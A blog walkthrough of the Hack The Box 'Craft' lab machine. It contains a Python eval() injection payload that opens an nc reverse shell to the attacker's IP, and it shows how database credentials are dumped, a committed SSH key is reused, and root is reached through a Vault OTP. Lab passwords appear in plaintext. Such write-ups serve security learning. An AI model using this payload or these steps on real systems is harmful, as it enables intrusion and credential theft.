Hack The Box Craft Writeup – 10.10.10.110

Welcome to my Hack The Box writeup series. Today, let us go through a step-by-step walkthrough of getting the root of the Craft machine.

Hack The Box Craft Writeup - 10.10.10.110
Hack The Box Craft Writeup – 10.10.10.110

Craft is a very nicely done box, in fact, I really enjoyed a lot rooting this machine. The rooting process actually finds a vulnerability in the Git Repository with the help of Flask. The majority part of owning the machine will be done in the initial foothold. And this box will be an example of how the simplest mistake by a developer/ or a staff can compromise the backbone infrastructure of the organization.

Enumeration and Information Gathering

Let us start off with running a port scan using Nmap.

# root @ ns09 in ~/htb/craft [19:54:23]
$ nmap -sC -sV -o craft.nmap 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 19:55 +03
Nmap scan report for gogs.craft.htb (10.10.10.110)
Host is up (0.17s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: Gogs
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.67 seconds

# root @ ns09 in ~/htb/craft [19:56:49] 

The nmap scan says a couple of ports wide open. By name, a port 22 and 443 are open, by description, we have an SSH and HTTPS ports for further recon. At this moment, let us add machine IP 10.10.10.110 to the etc/hosts file as craft.htb and browse the HTTP(Secure) website.

An HTTPS Site:

The website on port 443 has limited information, but there are two links on the top menubar that discloses tow more sub-domains, namely API links to https://api.craft.htb/api/ and Git links to https://gogs.craft.htb/. Initially, I was not able to access the site, but after adding the newly discovered virtual hosts to etc/hosts to point to machine IP, I managed to access both of them.

Virtual HostsUnder Craft:

The API page is a documentation page of Craft API 1.0. This page gives further information about the API endpoints and how a developer or an end-user can interact with them.

After I proceed to enumerate the other page http://gogs.craft.htb/. This page is a self-hosted Git Repository. Since I have previous experience of Git Repo exposing credentials in commits, I went through the commit history to look for them. To my surprise I come across some committed API credentials of user Dinesh. However, the credential was not useful as the user Dinesh has limited information to disclose.

By further enumeration of repo and codes, I found that it’s a Python-based Flask application. I also found that the application endpoint /craft_api/api/brew/endpoints/brew.py calls the eval() function on the end-user action. Obviously, the authentication is required, I use the user Dinesh’s credentials to authenticate myself as Dinesh.

At this point, I’m certain that creating a reverse shell is possible by exploiting my favorite “Eval()” function with an unsanitized input. Also, to my joy, I as well found a test.py script ran by user Dinesh which I could use for authentication. I just need to download the Python script locally and modify it and use it to send it as a payload to the application to get a reverse shell. Let us exploit.

Test.py: https://gogs.craft.htb/Craft/craft-api/src/master/tests/test.py
Exploitation

From the tests folder, let us open the test.py script, We have two options to copy it, 1. We can download the whole folder in Zip format and get the test.py or just copy-paste the code into a new python file and make it ourselves.

I modified the response and as well added my payload.

Function:

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

Payload:

brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 4455 >/tmp/f")'

Original test.py:

!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Modified test.py:

Once everything is in place, let us start the listener to get the reverse shell. Now the new test.py file is ready to be fired and our listener is ready to listen, let us run directly from the terminal -> python test.py and here we go, we have the shell.

We have the shell and it says we have a shell as root, however, we are stuck in a docker container that doesn’t have user.txt. We need to find out how to get out of the docker and get ourselves escalated to actual machine and the user. This is only possible after finding the right possible path. To find the path, we need to begin our exploration.

Escaping from Docker Container and Getting The User

/bin/sh: can't access tty; job control turned off
/opt/app # whoami
root
/opt/app # ls
app.py
craft_api
dbtest.py
tests
/opt/app # cat dbtest.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()/opt/app #       
/opt/app # ls -la
total 32
drwxr-xr-x    5 root     root          4096 Feb 10  2019 .
drwxr-xr-x    1 root     root          4096 Feb  9  2019 ..
drwxr-xr-x    8 root     root          4096 Feb  8  2019 .git
-rw-r--r--    1 root     root            18 Feb  7  2019 .gitignore
-rw-r--r--    1 root     root          1585 Feb  7  2019 app.py
drwxr-xr-x    5 root     root          4096 Feb  7  2019 craft_api
-rwxr-xr-x    1 root     root           673 Feb  8  2019 dbtest.py
drwxr-xr-x    2 root     root          4096 Feb  7  2019 tests
/opt/app # cd crafts_api
/bin/sh: cd: can't cd to crafts_api: No such file or directory
/opt/app # cd craft_api
/opt/app/craft_api # ls
__init__.py
__pycache__
api
database
settings.py
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
/opt/app/craft_api # 

Here we found a couple of credentials in the crafts_api folder and as well a python script called dbtest.py. It looks like dbtest.py is handly for us if we modify it and make it return the credentials stored in a database.

If we run the script without modification we will have the following output:

/opt/app # python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}
/opt/app # 

After running the modified mod.py with edited SQL command we found the following credentials:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
 {'id':4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, 
 {'id': 5,'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Now you should be understood that saving credentials in plain-text how dangerous it is. 2 of the three credentials we just found should be able to get us the required access. As we found earlier, the website Gogs required credentials to log in, let us use these. The credential gilfoyle:ZEU3N8WNM2rh4T worked and we logged in to Gilfoyle’s private repository.

The initial exploration of Gilfoyle’s repository we found there is a directory /craft-infra with a padlock. After logging into the directory, we found his ssh public and private keys. Looks like the company Craft is full of mindless staff. This dude committed his private keys into the repository and the company saves his password in a plain text format.

Well, we don’t care about Craft company’s security policy, it is their problem, what we care about is how fast we can get our flags right? :).

Let’s go ahead and see what we have, the user Gilfoyle even has a directory called a vault and has a bash script running called secrets.sh. maybe this will be useful in the later stages. Let us concentrate on the user flag.

First, let us copy id_rsa and id_rsa.pub keys into ourKali machine ./ssh directory. And then run chmod 400 id_rsa to avoid permission error. And then run ssh gilfoyle@craft.htb. The Craft machine asks for the password of user GilFoyle. The password is the one we got from SQL command.

So we finally have the user.txt:


# root @ ns09 in ~/.ssh [0:20:07] 
$ ssh gilfoyle@craft.htb
  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4[--------------]2d4
gilfoyle@craft:~$ 

Getting Into the Root

PRIVILEGE ESCALATION

The root is very simple and straight forward. As we already know from the “craft-infra” repository about “vault” and the script inside the vault directory that runs as root. Let us list all the directories of user Gil Folyle including hidden.

There is a hidden folder called “.vault-token”. A simple google search “Vault Token” led me to a project called “The Vault project“. An article from the project document shows how to log in as root using the One-time password (OTP).

As per the documentAn authenticated client requests credentials from the Vault server and, if authorized, is issued an OTP. When the client establishes an SSH connection to the desired remote host, the OTP used during SSH authentication is received by the Vault helper, which then validates the OTP with the Vault server. The Vault server then deletes this OTP, ensuring that it is only used once.

Rooting Easy Way

Since we are an authenticated user, it very simple to get the OTP and log-in as root.

gilfoyle@craft:~$ vault ssh root@10.10.10.110
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: b18d760b-8fc9-b9da-8832-9b04ce3baec8


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/


Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# ls
root.txt
root@craft:~# cat root.txt
831d[------------]591
root@craft:~# 

That’s it, thanks for reading.

Navin

Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

You may also like...

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Sorry, that action is blocked.